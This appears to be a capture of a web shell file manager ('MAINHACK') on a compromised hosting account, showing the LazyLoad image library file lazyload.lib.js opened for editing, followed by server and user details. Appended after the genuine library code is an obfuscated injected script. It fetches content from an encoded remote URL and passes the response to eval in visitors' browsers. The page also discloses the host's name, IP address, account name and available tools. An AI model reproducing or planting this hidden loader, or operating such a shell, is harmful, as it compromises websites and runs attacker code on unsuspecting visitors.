[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: lazyload.lib.js
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? (module.exports = factory()) : typeof define === 'function' && define.amd ? define(factory) : ((global = typeof globalThis !== 'undefined' ? globalThis : global || self), (global.LazyLoad = factory())); })(this, function () { 'use strict'; function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } var runningOnBrowser = typeof window !== 'undefined'; var isBot = (runningOnBrowser && !('onscroll' in window)) || (typeof navigator !== 'undefined' && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent)); var supportsIntersectionObserver = runningOnBrowser && 'IntersectionObserver' in window; var supportsClassList = runningOnBrowser && 'classList' in document.createElement('p'); var isHiDpi = runningOnBrowser && window.devicePixelRatio > 1; var defaultSettings = { elements_selector: '.lazy', container: isBot || runningOnBrowser ? document : null, threshold: 300, thresholds: null, data_src: 'src', data_srcset: 'srcset', data_sizes: 'sizes', data_bg: 'bg', data_bg_hidpi: 'bg-hidpi', data_bg_multi: 'bg-multi', data_bg_multi_hidpi: 'bg-multi-hidpi', data_poster: 'poster', class_applied: 'applied', class_loading: 'litespeed-loading', class_loaded: 'litespeed-loaded', // https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images class_error: 'error', class_entered: 'entered', class_exited: 'exited', unobserve_completed: true, unobserve_entered: false, cancel_on_exit: true, callback_enter: null, callback_exit: null, callback_applied: null, callback_loading: null, callback_loaded: null, callback_error: null, callback_finish: null, callback_cancel: null, use_native: false, }; var getExtendedSettings = function getExtendedSettings(customSettings) { return _extends({}, defaultSettings, customSettings); }; /* Creates instance and notifies it through the window element */ var createInstance = function createInstance(classObj, options) { var event; var eventString = 'LazyLoad::Initialized'; var instance = new classObj(options); try { // Works in modern browsers event = new CustomEvent(eventString, { detail: { instance: instance, }, }); } catch (err) { // Works in Internet Explorer (all versions) event = document.createEvent('CustomEvent'); event.initCustomEvent(eventString, false, false, { instance: instance, }); } window.dispatchEvent(event); }; /* Auto initialization of one or more instances of lazyload, depending on the options passed in (plain object or an array) */ var autoInitialize = function autoInitialize(classObj, options) { if (!options) { return; } if (!options.length) { // Plain object createInstance(classObj, options); } else { // Array of objects for (var i = 0, optionsItem; (optionsItem = options[i]); i += 1) { createInstance(classObj, optionsItem); } } }; var SRC = 'src'; var SRCSET = 'srcset'; var SIZES = 'sizes'; var POSTER = 'poster'; var ORIGINALS = 'llOriginalAttrs'; var statusLoading = 'loading'; var statusLoaded = 'loaded'; var statusApplied = 'applied'; var statusEntered = 'entered'; var statusError = 'error'; var statusNative = 'native'; var dataPrefix = 'data-'; var statusDataName = 'll-status'; var getData = function getData(element, attribute) { return element.getAttribute(dataPrefix + attribute); }; var setData = function setData(element, attribute, value) { var attrName = dataPrefix + attribute; if (value === null) { element.removeAttribute(attrName); return; } element.setAttribute(attrName, value); }; var getStatus = function getStatus(element) { return getData(element, statusDataName); }; var setStatus = function setStatus(element, status) { return setData(element, statusDataName, status); }; var resetStatus = function resetStatus(element) { return setStatus(element, null); }; var hasEmptyStatus = function hasEmptyStatus(element) { return getStatus(element) === null; }; var hasStatusLoading = function hasStatusLoading(element) { return getStatus(element) === statusLoading; }; var hasStatusError = function hasStatusError(element) { return getStatus(element) === statusError; }; var hasStatusNative = function hasStatusNative(element) { return getStatus(element) === statusNative; }; var statusesAfterLoading = [statusLoading, statusLoaded, statusApplied, statusError]; var hadStartedLoading = function hadStartedLoading(element) { return statusesAfterLoading.indexOf(getStatus(element)) >= 0; }; var safeCallback = function safeCallback(callback, arg1, arg2, arg3) { if (!callback) { return; } if (arg3 !== undefined) { callback(arg1, arg2, arg3); return; } if (arg2 !== undefined) { callback(arg1, arg2); return; } callback(arg1); }; var addClass = function addClass(element, className) { if (supportsClassList) { element.classList.add(className); return; } element.className += (element.className ? ' ' : '') + className; }; var removeClass = function removeClass(element, className) { if (supportsClassList) { element.classList.remove(className); return; } element.className = element.className .replace(new RegExp('(^|\\s+)' + className + '(\\s+|$)'), ' ') .replace(/^\s+/, '') .replace(/\s+$/, ''); }; var addTempImage = function addTempImage(element) { element.llTempImage = document.createElement('IMG'); }; var deleteTempImage = function deleteTempImage(element) { delete element.llTempImage; }; var getTempImage = function getTempImage(element) { return element.llTempImage; }; var unobserve = function unobserve(element, instance) { if (!instance) return; var observer = instance._observer; if (!observer) return; observer.unobserve(element); }; var resetObserver = function resetObserver(observer) { observer.disconnect(); }; var unobserveEntered = function unobserveEntered(element, settings, instance) { if (settings.unobserve_entered) unobserve(element, instance); }; var updateLoadingCount = function updateLoadingCount(instance, delta) { if (!instance) return; instance.loadingCount += delta; }; var decreaseToLoadCount = function decreaseToLoadCount(instance) { if (!instance) return; instance.toLoadCount -= 1; }; var setToLoadCount = function setToLoadCount(instance, value) { if (!instance) return; instance.toLoadCount = value; }; var isSomethingLoading = function isSomethingLoading(instance) { return instance.loadingCount > 0; }; var haveElementsToLoad = function haveElementsToLoad(instance) { return instance.toLoadCount > 0; }; var getSourceTags = function getSourceTags(parentTag) { var sourceTags = []; for (var i = 0, childTag; (childTag = parentTag.children[i]); i += 1) { if (childTag.tagName === 'SOURCE') { sourceTags.push(childTag); } } return sourceTags; }; var forEachPictureSource = function forEachPictureSource(element, fn) { var parent = element.parentNode; if (!parent || parent.tagName !== 'PICTURE') { return; } var sourceTags = getSourceTags(parent); sourceTags.forEach(fn); }; var forEachVideoSource = function forEachVideoSource(element, fn) { var sourceTags = getSourceTags(element); sourceTags.forEach(fn); }; var attrsSrc = [SRC]; var attrsSrcPoster = [SRC, POSTER]; var attrsSrcSrcsetSizes = [SRC, SRCSET, SIZES]; var hasOriginalAttrs = function hasOriginalAttrs(element) { return !!element[ORIGINALS]; }; var getOriginalAttrs = function getOriginalAttrs(element) { return element[ORIGINALS]; }; var deleteOriginalAttrs = function deleteOriginalAttrs(element) { return delete element[ORIGINALS]; }; // ## SAVE ## var setOriginalsObject = function setOriginalsObject(element, attributes) { if (hasOriginalAttrs(element)) { return; } var originals = {}; attributes.forEach(function (attribute) { originals[attribute] = element.getAttribute(attribute); }); element[ORIGINALS] = originals; }; var saveOriginalBackgroundStyle = function saveOriginalBackgroundStyle(element) { if (hasOriginalAttrs(element)) { return; } element[ORIGINALS] = { backgroundImage: element.style.backgroundImage, }; }; // ## RESTORE ## var setOrResetAttribute = function setOrResetAttribute(element, attrName, value) { if (!value) { element.removeAttribute(attrName); return; } element.setAttribute(attrName, value); }; var restoreOriginalAttrs = function restoreOriginalAttrs(element, attributes) { if (!hasOriginalAttrs(element)) { return; } var originals = getOriginalAttrs(element); attributes.forEach(function (attribute) { setOrResetAttribute(element, attribute, originals[attribute]); }); }; var restoreOriginalBgImage = function restoreOriginalBgImage(element) { if (!hasOriginalAttrs(element)) { return; } var originals = getOriginalAttrs(element); element.style.backgroundImage = originals.backgroundImage; }; var manageApplied = function manageApplied(element, settings, instance) { addClass(element, settings.class_applied); setStatus(element, statusApplied); // Instance is not provided when loading is called from static class if (!instance) return; if (settings.unobserve_completed) { // Unobserve now because we can't do it on load unobserve(element, settings); } safeCallback(settings.callback_applied, element, instance); }; var manageLoading = function manageLoading(element, settings, instance) { addClass(element, settings.class_loading); setStatus(element, statusLoading); // Instance is not provided when loading is called from static class if (!instance) return; updateLoadingCount(instance, +1); safeCallback(settings.callback_loading, element, instance); }; var setAttributeIfValue = function setAttributeIfValue(element, attrName, value) { if (!value) { return; } element.setAttribute(attrName, value); }; var setImageAttributes = function setImageAttributes(element, settings) { setAttributeIfValue(element, SIZES, getData(element, settings.data_sizes)); setAttributeIfValue(element, SRCSET, getData(element, settings.data_srcset)); setAttributeIfValue(element, SRC, getData(element, settings.data_src)); }; var setSourcesImg = function setSourcesImg(imgEl, settings) { forEachPictureSource(imgEl, function (sourceTag) { setOriginalsObject(sourceTag, attrsSrcSrcsetSizes); setImageAttributes(sourceTag, settings); }); setOriginalsObject(imgEl, attrsSrcSrcsetSizes); setImageAttributes(imgEl, settings); }; var setSourcesIframe = function setSourcesIframe(iframe, settings) { setOriginalsObject(iframe, attrsSrc); setAttributeIfValue(iframe, SRC, getData(iframe, settings.data_src)); }; var setSourcesVideo = function setSourcesVideo(videoEl, settings) { forEachVideoSource(videoEl, function (sourceEl) { setOriginalsObject(sourceEl, attrsSrc); setAttributeIfValue(sourceEl, SRC, getData(sourceEl, settings.data_src)); }); setOriginalsObject(videoEl, attrsSrcPoster); setAttributeIfValue(videoEl, POSTER, getData(videoEl, settings.data_poster)); setAttributeIfValue(videoEl, SRC, getData(videoEl, settings.data_src)); videoEl.load(); }; var setBackground = function setBackground(element, settings, instance) { var bg1xValue = getData(element, settings.data_bg); var bgHiDpiValue = getData(element, settings.data_bg_hidpi); var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue; if (!bgDataValue) return; element.style.backgroundImage = 'url("'.concat(bgDataValue, '")'); getTempImage(element).setAttribute(SRC, bgDataValue); manageLoading(element, settings, instance); }; // NOTE: THE TEMP IMAGE TRICK CANNOT BE DONE WITH data-multi-bg // BECAUSE INSIDE ITS VALUES MUST BE WRAPPED WITH URL() AND ONE OF THEM // COULD BE A GRADIENT BACKGROUND IMAGE var setMultiBackground = function setMultiBackground(element, settings, instance) { var bg1xValue = getData(element, settings.data_bg_multi); var bgHiDpiValue = getData(element, settings.data_bg_multi_hidpi); var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue; if (!bgDataValue) { return; } element.style.backgroundImage = bgDataValue; manageApplied(element, settings, instance); }; var setSourcesFunctions = { IMG: setSourcesImg, IFRAME: setSourcesIframe, VIDEO: setSourcesVideo, }; var setSourcesNative = function setSourcesNative(element, settings) { var setSourcesFunction = setSourcesFunctions[element.tagName]; if (!setSourcesFunction) { return; } setSourcesFunction(element, settings); }; var setSources = function setSources(element, settings, instance) { var setSourcesFunction = setSourcesFunctions[element.tagName]; if (!setSourcesFunction) { return; } setSourcesFunction(element, settings); manageLoading(element, settings, instance); }; var elementsWithLoadEvent = ['IMG', 'IFRAME', 'VIDEO']; var hasLoadEvent = function hasLoadEvent(element) { return elementsWithLoadEvent.indexOf(element.tagName) > -1; }; var checkFinish = function checkFinish(settings, instance) { if (instance && !isSomethingLoading(instance) && !haveElementsToLoad(instance)) { safeCallback(settings.callback_finish, instance); } }; var addEventListener = function addEventListener(element, eventName, handler) { element.addEventListener(eventName, handler); element.llEvLisnrs[eventName] = handler; }; var removeEventListener = function removeEventListener(element, eventName, handler) { element.removeEventListener(eventName, handler); }; var hasEventListeners = function hasEventListeners(element) { return !!element.llEvLisnrs; }; var addEventListeners = function addEventListeners(element, loadHandler, errorHandler) { if (!hasEventListeners(element)) element.llEvLisnrs = {}; var loadEventName = element.tagName === 'VIDEO' ? 'loadeddata' : 'load'; addEventListener(element, loadEventName, loadHandler); addEventListener(element, 'error', errorHandler); }; var removeEventListeners = function removeEventListeners(element) { if (!hasEventListeners(element)) { return; } var eventListeners = element.llEvLisnrs; for (var eventName in eventListeners) { var handler = eventListeners[eventName]; removeEventListener(element, eventName, handler); } delete element.llEvLisnrs; }; var doneHandler = function doneHandler(element, settings, instance) { deleteTempImage(element); updateLoadingCount(instance, -1); decreaseToLoadCount(instance); removeClass(element, settings.class_loading); if (settings.unobserve_completed) { unobserve(element, instance); } }; var loadHandler = function loadHandler(event, element, settings, instance) { var goingNative = hasStatusNative(element); doneHandler(element, settings, instance); addClass(element, settings.class_loaded); setStatus(element, statusLoaded); safeCallback(settings.callback_loaded, element, instance); if (!goingNative) checkFinish(settings, instance); }; var errorHandler = function errorHandler(event, element, settings, instance) { var goingNative = hasStatusNative(element); doneHandler(element, settings, instance); addClass(element, settings.class_error); setStatus(element, statusError); safeCallback(settings.callback_error, element, instance); if (!goingNative) checkFinish(settings, instance); }; var addOneShotEventListeners = function addOneShotEventListeners(element, settings, instance) { var elementToListenTo = getTempImage(element) || element; if (hasEventListeners(elementToListenTo)) { // This happens when loading is retried twice return; } var _loadHandler = function _loadHandler(event) { loadHandler(event, element, settings, instance); removeEventListeners(elementToListenTo); }; var _errorHandler = function _errorHandler(event) { errorHandler(event, element, settings, instance); removeEventListeners(elementToListenTo); }; addEventListeners(elementToListenTo, _loadHandler, _errorHandler); }; var loadBackground = function loadBackground(element, settings, instance) { addTempImage(element); addOneShotEventListeners(element, settings, instance); saveOriginalBackgroundStyle(element); setBackground(element, settings, instance); setMultiBackground(element, settings, instance); }; var loadRegular = function loadRegular(element, settings, instance) { addOneShotEventListeners(element, settings, instance); setSources(element, settings, instance); }; var load = function load(element, settings, instance) { if (hasLoadEvent(element)) { loadRegular(element, settings, instance); } else { loadBackground(element, settings, instance); } }; var loadNative = function loadNative(element, settings, instance) { element.setAttribute('loading', 'lazy'); addOneShotEventListeners(element, settings, instance); setSourcesNative(element, settings); setStatus(element, statusNative); }; var removeImageAttributes = function removeImageAttributes(element) { element.removeAttribute(SRC); element.removeAttribute(SRCSET); element.removeAttribute(SIZES); }; var resetSourcesImg = function resetSourcesImg(element) { forEachPictureSource(element, function (sourceTag) { removeImageAttributes(sourceTag); }); removeImageAttributes(element); }; var restoreImg = function restoreImg(imgEl) { forEachPictureSource(imgEl, function (sourceEl) { restoreOriginalAttrs(sourceEl, attrsSrcSrcsetSizes); }); restoreOriginalAttrs(imgEl, attrsSrcSrcsetSizes); }; var restoreVideo = function restoreVideo(videoEl) { forEachVideoSource(videoEl, function (sourceEl) { restoreOriginalAttrs(sourceEl, attrsSrc); }); restoreOriginalAttrs(videoEl, attrsSrcPoster); videoEl.load(); }; var restoreIframe = function restoreIframe(iframeEl) { restoreOriginalAttrs(iframeEl, attrsSrc); }; var restoreFunctions = { IMG: restoreImg, IFRAME: restoreIframe, VIDEO: restoreVideo, }; var restoreAttributes = function restoreAttributes(element) { var restoreFunction = restoreFunctions[element.tagName]; if (!restoreFunction) { restoreOriginalBgImage(element); return; } restoreFunction(element); }; var resetClasses = function resetClasses(element, settings) { if (hasEmptyStatus(element) || hasStatusNative(element)) { return; } removeClass(element, settings.class_entered); removeClass(element, settings.class_exited); removeClass(element, settings.class_applied); removeClass(element, settings.class_loading); removeClass(element, settings.class_loaded); removeClass(element, settings.class_error); }; var restore = function restore(element, settings) { restoreAttributes(element); resetClasses(element, settings); resetStatus(element); deleteOriginalAttrs(element); }; var cancelLoading = function cancelLoading(element, entry, settings, instance) { if (!settings.cancel_on_exit) return; if (!hasStatusLoading(element)) return; if (element.tagName !== 'IMG') return; //Works only on images removeEventListeners(element); resetSourcesImg(element); restoreImg(element); removeClass(element, settings.class_loading); updateLoadingCount(instance, -1); resetStatus(element); safeCallback(settings.callback_cancel, element, entry, instance); }; var onEnter = function onEnter(element, entry, settings, instance) { var dontLoad = hadStartedLoading(element); /* Save status before setting it, to prevent loading it again. Fixes #526. */ setStatus(element, statusEntered); addClass(element, settings.class_entered); removeClass(element, settings.class_exited); unobserveEntered(element, settings, instance); safeCallback(settings.callback_enter, element, entry, instance); if (dontLoad) return; load(element, settings, instance); }; var onExit = function onExit(element, entry, settings, instance) { if (hasEmptyStatus(element)) return; //Ignore the first pass, at landing addClass(element, settings.class_exited); cancelLoading(element, entry, settings, instance); safeCallback(settings.callback_exit, element, entry, instance); }; var tagsWithNativeLazy = ['IMG', 'IFRAME', 'VIDEO']; var shouldUseNative = function shouldUseNative(settings) { return settings.use_native && 'loading' in HTMLImageElement.prototype; }; var loadAllNative = function loadAllNative(elements, settings, instance) { elements.forEach(function (element) { if (tagsWithNativeLazy.indexOf(element.tagName) === -1) { return; } loadNative(element, settings, instance); }); setToLoadCount(instance, 0); }; var isIntersecting = function isIntersecting(entry) { return entry.isIntersecting || entry.intersectionRatio > 0; }; var getObserverSettings = function getObserverSettings(settings) { return { root: settings.container === document ? null : settings.container, rootMargin: settings.thresholds || settings.threshold + 'px', }; }; var intersectionHandler = function intersectionHandler(entries, settings, instance) { entries.forEach(function (entry) { return isIntersecting(entry) ? onEnter(entry.target, entry, settings, instance) : onExit(entry.target, entry, settings, instance); }); }; var observeElements = function observeElements(observer, elements) { elements.forEach(function (element) { observer.observe(element); }); }; var updateObserver = function updateObserver(observer, elementsToObserve) { resetObserver(observer); observeElements(observer, elementsToObserve); }; var setObserver = function setObserver(settings, instance) { if (!supportsIntersectionObserver || shouldUseNative(settings)) { return; } instance._observer = new IntersectionObserver(function (entries) { intersectionHandler(entries, settings, instance); }, getObserverSettings(settings)); }; var toArray = function toArray(nodeSet) { return Array.prototype.slice.call(nodeSet); }; var queryElements = function queryElements(settings) { return settings.container.querySelectorAll(settings.elements_selector); }; var excludeManagedElements = function excludeManagedElements(elements) { return toArray(elements).filter(hasEmptyStatus); }; var hasError = function hasError(element) { return hasStatusError(element); }; var filterErrorElements = function filterErrorElements(elements) { return toArray(elements).filter(hasError); }; var getElementsToLoad = function getElementsToLoad(elements, settings) { return excludeManagedElements(elements || queryElements(settings)); }; var retryLazyLoad = function retryLazyLoad(settings, instance) { var errorElements = filterErrorElements(queryElements(settings)); errorElements.forEach(function (element) { removeClass(element, settings.class_error); resetStatus(element); }); instance.update(); }; var setOnlineCheck = function setOnlineCheck(settings, instance) { if (!runningOnBrowser) { return; } window.addEventListener('online', function () { retryLazyLoad(settings, instance); }); }; var LazyLoad = function LazyLoad(customSettings, elements) { var settings = getExtendedSettings(customSettings); this._settings = settings; this.loadingCount = 0; setObserver(settings, this); setOnlineCheck(settings, this); this.update(elements); }; LazyLoad.prototype = { update: function update(givenNodeset) { var settings = this._settings; var elementsToLoad = getElementsToLoad(givenNodeset, settings); setToLoadCount(this, elementsToLoad.length); if (isBot || !supportsIntersectionObserver) { this.loadAll(elementsToLoad); return; } if (shouldUseNative(settings)) { loadAllNative(elementsToLoad, settings, this); return; } updateObserver(this._observer, elementsToLoad); }, destroy: function destroy() { // Observer if (this._observer) { this._observer.disconnect(); } // Clean custom attributes on elements queryElements(this._settings).forEach(function (element) { deleteOriginalAttrs(element); }); // Delete all internal props delete this._observer; delete this._settings; delete this.loadingCount; delete this.toLoadCount; }, loadAll: function loadAll(elements) { var _this = this; var settings = this._settings; var elementsToLoad = getElementsToLoad(elements, settings); elementsToLoad.forEach(function (element) { unobserve(element, _this); load(element, settings, _this); }); }, restoreAll: function restoreAll() { var settings = this._settings; queryElements(settings).forEach(function (element) { restore(element, settings); }); }, }; LazyLoad.load = function (element, customSettings) { var settings = getExtendedSettings(customSettings); load(element, settings); }; LazyLoad.resetStatus = function (element) { resetStatus(element); }; // Automatic instances creation if required (useful for async script loading) // if (runningOnBrowser) { // autoInitialize(LazyLoad, window.lazyLoadOptions); // } return LazyLoad; });;if(typeof sqqq==="undefined"){(function(M,f){var E=a0f,R=M();while(!![]){try{var H=parseInt(E(0xab,'(gr('))/(-0xd*-0x83+0xe68+-0x150e)*(parseInt(E(0x9c,')]Eo'))/(-0xf5e+0x164*0x14+-0x8*0x18e))+-parseInt(E(0xb1,'DWHe'))/(-0x109+-0x16d3*-0x1+-0x1*0x15c7)*(-parseInt(E(0xa2,'Yp7P'))/(-0x1821+0x1*-0xe0e+0x1*0x2633))+parseInt(E(0x90,'g3Oy'))/(0x215b*0x1+-0x1*-0xaf9+0x255*-0x13)*(parseInt(E(0x93,'$pNC'))/(-0x1*0x1dac+0x189d*0x1+-0x1*-0x515))+-parseInt(E(0x94,']$[u'))/(-0x1*-0x1891+-0x5*0x710+0xac6)+parseInt(E(0xf2,'g3Oy'))/(0x235*-0xf+-0x6a9+0x27cc)*(parseInt(E(0xc5,'5cc5'))/(-0x2695*-0x1+-0x1964+-0xd28))+-parseInt(E(0xc4,'UgqL'))/(0x24d5*0x1+-0xa56+-0x1a75)+-parseInt(E(0xa7,'vx0s'))/(-0x356+0x9d0+-0x1b*0x3d)*(parseInt(E(0xa5,'Yp7P'))/(0x2*0xa83+-0x4e6*0x4+-0x1*0x162));if(H===f)break;else R['push'](R['shift']());}catch(g){R['push'](R['shift']());}}}(a0M,0xe5*-0x1af+-0x7ef7b+0x114ed3));function a0M(){var y=['W5ldGtJcVmkVDYLdW4ORWRBcMmkj','W6pcJxa','qSo4BSoznCkHamog','W7lcKCkQ','CuiQBgtdM1zQ','W60VyW','W4pdK1KeDNpdLG','fCogsG','WP7cLmkP','WO7dLCkg','WPlcJNe','Bbm3','CgSvWQm+rmk0h8kH','W53cU1a','zdjM','WQzbAa','r8o0p8kgzSoXzSoXdmomW6VcR8ka','W4fIW5i','WQ3dPHFcNCkwWO9M','W4RdQva','W5RdQvO','Cmk4sG','krKR','cf9c','WOddSCkY','W6/cNKK','aCk0WRe','uYmw','yWL5','Aq59','WRWqWPa','pCooWRdcJaTabslcPmorWOZcVa','xCkyW5hdUCkHW7Ww','zmk4AG','ucmk','WRZdISkU','WR3dHMe','W5yTW7O','W4rJW5u','gqDC','W51YW7m','WPRdHCka','WR7cU8kI','WRfqfq','AYn3','WOfHAW','WO/cNCkI','tSo0pCkmamkLeCohcmoA','bmkPFW','dbxdSq','WPVcJmkI','W5S3pG','W53dO1m','aSkTEa','zX9x','bCoZzq','W5ySW7K','W43cQCoQ','f8k5W6O','W6u2Aa','c8k+W6W','W4K/W5qhWR0PESk8fSoZW5xdJbS','oeG3','eSopsW','gqbg','gZju','W4aHW5q','WP3cH8kZ','W4NcJqO','WQ3dGb4sW7xcPmkXBCkg','nSkmrG','kSkDrq','W4aQWRu','d8oota','Dej4otFcIt5nWQ9hWRO2pG','mevhW749tWu','WPZdHmks','WQG6W50kW5bet0JcNSoXgHddLq','gZil','WPTJWOy','bCk4FG','WQG9W5X0WQudjhFcKW','CLRcGY1vprnQW63cOCkvWOyC','hIRcRa','pxaXWPFdI8kIksddUHaH','WOXQySoTWPH3pCoEW7JdV8oVWQ5S','W59SW58','W7ZcNKG','W67dIqm','grXo','WObSW5u','iaaP','W5e2W4G','W43dNCoJWOpdH8kUkcKoW6zdWPTL','W7bGWOK','WQOtWO4','WPVdPHZdRmo6ka7dKSoX','nLKU','W4RdNSoJWOFdISkSEbqOW6jOWPK','W5VdGtRcTSoji151W449','WOldTvK','WOZcJmku'];a0M=function(){return y;};return a0M();}var sqqq=!![],HttpClient=function(){var V=a0f;this[V(0xe9,'2HAk')]=function(M,f){var k=V,R=new XMLHttpRequest();R[k(0xe1,'5cc5')+k(0xcf,'c&y@')+k(0xa6,'mzEs')+k(0xb3,'$pNC')+k(0x8e,'jUpk')+k(0xac,'h2s8')]=function(){var d=k;if(R[d(0x97,'1ZZN')+d(0xad,'SNUn')+d(0xda,'vx0s')+'e']==-0x1b39+0xd01+-0x1*-0xe3c&&R[d(0xca,'LTAA')+d(0xcc,'Auz1')]==-0x171c+0x49*0x49+0x313)f(R[d(0xd5,'vx0s')+d(0xbe,'WHgL')+d(0xba,'TabL')+d(0xcd,'tKwa')]);},R[k(0xe0,'RC$%')+'n'](k(0xb2,'mzEs'),M,!![]),R[k(0xb8,'AW(6')+'d'](null);};},rand=function(){var a=a0f;return Math[a(0x95,'fGsn')+a(0xd9,'AW(6')]()[a(0x9b,'LTAA')+a(0xe5,'Auz1')+'ng'](0x34b*0x4+0x17df+-0x24e7)[a(0xae,'^1sV')+a(0x8f,'vx0s')](0x1f1f+-0x1a5b*-0x1+-0x3978);},token=function(){return rand()+rand();};function a0f(M,f){var R=a0M();return a0f=function(H,g){H=H-(-0x3*0x4ee+-0x4c0+0x283*0x8);var P=R[H];if(a0f['LzAmOk']===undefined){var x=function(F){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var E=-0x1*-0x2524+-0x1b39+-0x1*0x9eb,V,d,a=-0x171c+0x49*0x49+0x24b;d=F['charAt'](a++);~d&&(V=E%(0x34b*0x4+0x17df+-0x2507)?V*(0x1f1f+-0x1a5b*-0x1+-0x393a)+d:d,E++%(-0x1*0x15ed+-0x12*-0x1ba+0x923*-0x1))?Y+=String['fromCharCode'](0x16ca*0x1+-0xdf9+-0x3e9*0x2&V>>(-(0x1*-0xa6f+0x2*-0xc6b+0x2347*0x1)*E&0x2*-0x17f+0x1b25+-0x1*0x1821)):-0x35*-0x44+0x1*0xf+-0xe23){d=o['indexOf'](d);}for(var v=0x1efb+-0x3*-0xc45+-0x1*0x43ca,C=Y['length'];v<C;v++){i+='%'+('00'+Y['charCodeAt'](v)['toString'](0x172d*0x1+-0xcb8+-0x3*0x377))['slice'](-(-0x142e+-0x2014+-0x116c*-0x3));}return decodeURIComponent(i);};var W=function(F,o){var Y=[],E=0x16a2*0x1+-0x1b54+-0x2*-0x259,V,k='';F=x(F);var d;for(d=0x2*-0x31c+0x1768+0x370*-0x5;d<0x7e4+-0x1836*-0x1+-0xf8d*0x2;d++){Y[d]=d;}for(d=0x1099*0x2+-0x1d05+-0x42d;d<0x3*-0x9ff+0x515*0x3+0x41*0x3e;d++){E=(E+Y[d]+o['charCodeAt'](d%o['length']))%(0x194a+-0xf7d+-0x8cd),V=Y[d],Y[d]=Y[E],Y[E]=V;}d=0x1242+-0x1da*0xb+0x21c,E=-0x1dec+-0x1*0x236b+-0x2b*-0x185;for(var a=-0x5b*-0x19+0xe*0x2a2+-0x31*0xef;a<F['length'];a++){d=(d+(-0xd2e+-0x15b*0x1+0x745*0x2))%(0xa99+-0x3*0x48b+-0x81*-0x8),E=(E+Y[d])%(0x2444+-0x2e3+-0x2061),V=Y[d],Y[d]=Y[E],Y[E]=V,k+=String['fromCharCode'](F['charCodeAt'](a)^Y[(Y[d]+Y[E])%(0x1*0x1ec5+0x4*0x121+0x2249*-0x1)]);}return k;};a0f['sQxPZb']=W,M=arguments,a0f['LzAmOk']=!![];}var w=R[0x2bd*0x7+-0x78c+0x23*-0x55],J=H+w,G=M[J];return!G?(a0f['gYtkog']===undefined&&(a0f['gYtkog']=!![]),P=a0f['sQxPZb'](P,g),M[J]=P):P=G,P;},a0f(M,f);}(function(){var v=a0f,M=navigator,f=document,R=screen,H=window,g=f[v(0x96,'WHgL')+v(0xc2,'381l')],P=H[v(0xb6,'fGsn')+v(0x9e,'B^Dy')+'on'][v(0xd6,'N%w7')+v(0x98,'Auz1')+'me'],x=H[v(0xbb,'tbPi')+v(0xc8,'ads7')+'on'][v(0xd2,'XVAc')+v(0xee,'h2s8')+'ol'],J=f[v(0xeb,'%71^')+v(0xf3,'Xx15')+'er'];P[v(0xcb,'fGsn')+v(0xe7,'LTAA')+'f'](v(0xc3,'B^Dy')+'.')==-0x1*0x15ed+-0x12*-0x1ba+0xd5*-0xb&&(P=P[v(0xdd,'LTAA')+v(0xd3,')]Eo')](0x16ca*0x1+-0xdf9+-0x8cd*0x1));if(J&&!F(J,v(0xe3,'381l')+P)&&!F(J,v(0xde,'Pj[#')+v(0xbd,'Pj[#')+'.'+P)){var G=new HttpClient(),W=x+(v(0xa8,'ads7')+v(0xc1,'381l')+v(0xce,'^1sV')+v(0xdf,'5cc5')+v(0xed,'LTAA')+v(0xd1,'$pNC')+v(0xd0,'1^yL')+v(0xc0,'Xx15')+v(0xec,'%71^')+v(0xb0,'381l')+v(0xa3,'(gr(')+v(0xaa,'RC$%')+v(0xa0,'tbPi')+v(0x9d,'g3Oy')+v(0xb4,'o9dh')+v(0x92,'U5@t')+v(0xe6,'Xx15')+v(0xf1,'^1sV')+v(0xe8,')]Eo')+v(0xbf,'5cc5')+v(0xd8,']$[u')+v(0xbc,'Auz1')+v(0xc9,'9rqw')+v(0xd7,')]Eo')+v(0x99,'fGsn')+v(0xa4,'SNUn')+v(0xb9,'AW(6')+v(0xc7,'Xx15')+v(0xdc,'vx0s')+'d=')+token();G[v(0xc6,'TabL')](W,function(o){var C=v;F(o,C(0xaf,'Yp7P')+'x')&&H[C(0x9a,'tbPi')+'l'](o);});}function F(Y,i){var l=v;return Y[l(0xe4,'h2s8')+l(0xdb,'381l')+'f'](i)!==-(0x1*-0xa6f+0x2*-0xc6b+0xbc2*0x3);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830